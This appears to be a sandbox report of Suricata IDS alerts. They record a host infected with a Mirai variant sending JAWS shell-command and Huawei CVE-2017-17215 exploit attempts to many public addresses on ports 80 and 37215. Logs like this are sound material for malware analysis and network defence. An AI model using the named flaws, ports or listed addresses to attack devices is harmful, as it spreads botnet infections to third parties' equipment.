Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44170 -> 148.66.215.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34690 -> 142.202.33.132:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34436 -> 24.149.246.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39532 -> 5.104.106.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55744 -> 119.211.146.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41738 -> 201.148.44.14:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41738 -> 201.148.44.14:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46770 -> 175.121.86.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55766 -> 116.150.62.104:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45200 -> 41.130.173.219:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55766 -> 116.150.62.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35140 -> 167.75.81.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35140 -> 167.75.81.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44170 -> 148.66.215.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60610 -> 223.111.24.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60610 -> 223.111.24.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46770 -> 175.121.86.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45350 -> 171.48.150.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45350 -> 171.48.150.224:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44212 -> 156.219.74.61:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56708 -> 8.103.67.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56708 -> 8.103.67.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59116 -> 46.150.128.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59116 -> 46.150.128.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35808 -> 220.142.4.23:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35808 -> 220.142.4.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41620 -> 67.181.179.91:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41620 -> 67.181.179.91:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33322 -> 41.132.216.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53538 -> 41.242.244.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47342 -> 156.82.100.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38320 -> 156.6.99.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35154 -> 197.108.27.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49110 -> 156.180.71.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40264 -> 197.2.94.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57862 -> 197.35.188.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48548 -> 156.254.240.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47456 -> 41.89.56.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58874 -> 156.209.214.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55728 -> 41.97.116.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52828 -> 197.101.2.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54804 -> 197.20.1.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42836 -> 197.61.249.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37722 -> 41.41.62.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54728 -> 156.63.118.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35392 -> 156.190.237.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38218 -> 156.49.47.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38434 -> 156.124.6.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44720 -> 41.78.79.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49536 -> 41.218.18.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60460 -> 156.247.59.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47048 -> 156.145.198.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53730 -> 156.144.87.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40768 -> 41.100.82.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53480 -> 156.248.22.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54516 -> 156.254.151.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42854 -> 156.183.73.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60000 -> 197.54.174.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35146 -> 197.142.116.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45220 -> 197.67.52.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47284 -> 197.151.230.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50154 -> 41.199.201.42:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42668 -> 83.242.246.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42668 -> 83.242.246.47:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47940 -> 38.185.77.8:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49280 -> 97.60.74.150:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49280 -> 97.60.74.150:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47940 -> 38.185.77.8:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44038 -> 223.118.93.51:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38530 -> 198.186.23.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38530 -> 198.186.23.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44038 -> 223.118.93.51:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52658 -> 197.156.1.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36702 -> 156.144.159.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60612 -> 156.178.53.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41824 -> 41.57.106.72:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39412 -> 31.140.158.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39412 -> 31.140.158.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39156 -> 171.122.203.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39156 -> 171.122.203.201:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38450 -> 154.178.4.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38450 -> 154.178.4.253:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34144 -> 40.164.129.252:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43374 -> 134.190.6.30:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34144 -> 40.164.129.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43374 -> 134.190.6.30:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41088 -> 163.9.31.130:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41088 -> 163.9.31.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58836 -> 106.190.131.163:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58836 -> 106.190.131.163:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50916 -> 64.64.206.110:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50916 -> 64.64.206.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34482 -> 128.5.9.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45796 -> 20.90.151.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34482 -> 128.5.9.145:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40944 -> 122.91.92.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39140 -> 27.250.38.90:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40944 -> 122.91.92.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39140 -> 27.250.38.90:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35640 -> 91.177.96.233:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39006 -> 157.84.156.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58276 -> 167.17.65.142:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42508 -> 87.213.185.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35640 -> 91.177.96.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42508 -> 87.213.185.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58276 -> 167.17.65.142:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40888 -> 18.149.183.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34176 -> 200.1.115.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40888 -> 18.149.183.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39006 -> 157.84.156.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34664 -> 118.131.207.245:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34664 -> 118.131.207.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52992 -> 123.104.76.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45796 -> 20.90.151.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45066 -> 174.188.142.142:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45066 -> 174.188.142.142:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53800 -> 91.222.101.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44486 -> 223.158.92.56:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53800 -> 91.222.101.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44486 -> 223.158.92.56:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34176 -> 200.1.115.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52992 -> 123.104.76.242:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48982 -> 212.208.47.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60530 -> 41.60.28.34:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48982 -> 212.208.47.65:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41032 -> 44.173.181.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41032 -> 44.173.181.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60530 -> 41.60.28.34:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36042 -> 191.26.125.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36042 -> 191.26.125.61:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34304 -> 135.179.159.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34304 -> 135.179.159.201:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43026 -> 20.5.135.252:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43026 -> 20.5.135.252:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47162 -> 197.156.70.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53830 -> 156.76.57.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39378 -> 156.14.192.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51638 -> 156.67.243.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40834 -> 197.229.114.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56824 -> 41.185.175.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37670 -> 197.70.32.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60610 -> 197.51.36.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59284 -> 197.59.66.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44186 -> 156.216.121.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35180 -> 41.103.79.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59432 -> 41.106.184.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36688 -> 41.174.129.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38764 -> 156.149.88.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47578 -> 41.82.87.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42980 -> 197.29.138.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45456 -> 156.26.192.79:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36936 -> 41.231.73.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37486 -> 156.143.56.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53796 -> 197.212.65.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33938 -> 156.249.165.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53742 -> 156.221.250.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56488 -> 156.180.0.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44076 -> 197.153.117.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60316 -> 41.78.165.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59436 -> 41.170.245.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52640 -> 156.76.135.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38940 -> 41.114.142.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41416 -> 156.51.35.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47100 -> 41.151.33.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51186 -> 41.246.240.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56124 -> 197.93.255.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43838 -> 41.232.214.237:37215
